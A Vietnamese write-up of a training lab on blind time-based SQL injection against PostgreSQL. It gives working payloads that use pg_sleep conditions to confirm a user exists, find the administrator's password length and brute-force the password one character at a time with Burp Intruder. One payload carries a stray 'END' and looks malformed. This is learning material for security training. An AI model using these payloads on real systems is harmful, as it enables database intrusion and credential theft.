Lab: Blind SQL injection with time delays and information retrieval
Last updated
Last updated
Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.
Kết quả của truy vấn SQL không được trả về và ứng dụng không phản hồi khác nhau tùy thuộc vào việc truy vấn trả về bất kỳ hàng nào hay gây ra lỗi. Tuy nhiên, vì truy vấn được thực hiện đồng bộ nên có thể kích hoạt độ trễ thời gian có điều kiện để suy ra thông tin.
Cơ sở dữ liệu chứa một bảng khác có tên là users
, với các cột có tên là username
và password
Mục tiêu: Khai thác lỗ hổng SQL injection để tìm ra mật khẩu của người administrator
dùng.
Cần xác định loại cơ sở dữ liệu mà ứng dụng sử dụng
'||pg_sleep(10)--
Đây là PostgreSQL, kích hoạt độ trễ thời gian có điều kiện như sau:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
Kiểm tra có tên người dùng administrator
trong bảng users
hay không
'; SELECT CASE WHEN (SELECT COUNT(username) FROM users WHERE username = 'administrator') = 1 THEN pg_sleep(10) ELSE pg_sleep(0) END--
Lợi dụng việc có thể kích hoạt độ trễ thời gian có điều kiện để có thể lấy dữ liệu bầng cách kiểm tra từng ký tự một:
'; SELECT CASE WHEN (SELECT COUNT(username) FROM users WHERE username = 'administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 THEN pg_sleep(10) ELSE pg_sleep(0) END--
Xác định độ dài mật khẩu
Ta sẽ sử dụng mấu sau:
'; SELECT CASE WHEN (SELECT COUNT(username) FROM users WHERE username = 'administrator' AND LENGTH(password) > 10) = 1 THEN pg_sleep(3) ELSE pg_sleep(0) END--
Thử > 10 và < 30 thành công. Ta tìm được khoảng đọ dài của mật khẩu là từ 11 đến 29
Sử dụng Intruder
Như vậy xác định được độ dài mật khẩu là 20
Bruteforce mật khẩu
';SELECT CASE WHEN(username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users END--
Hoặc
'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND SUBSTR(password,1,1)='a')||'
Tiếp tục sử dụng Intruder với kiểu attack Cluster bomb
Với delay là 3s thì sẽ lọc các Respone có độ trễ > 3000ms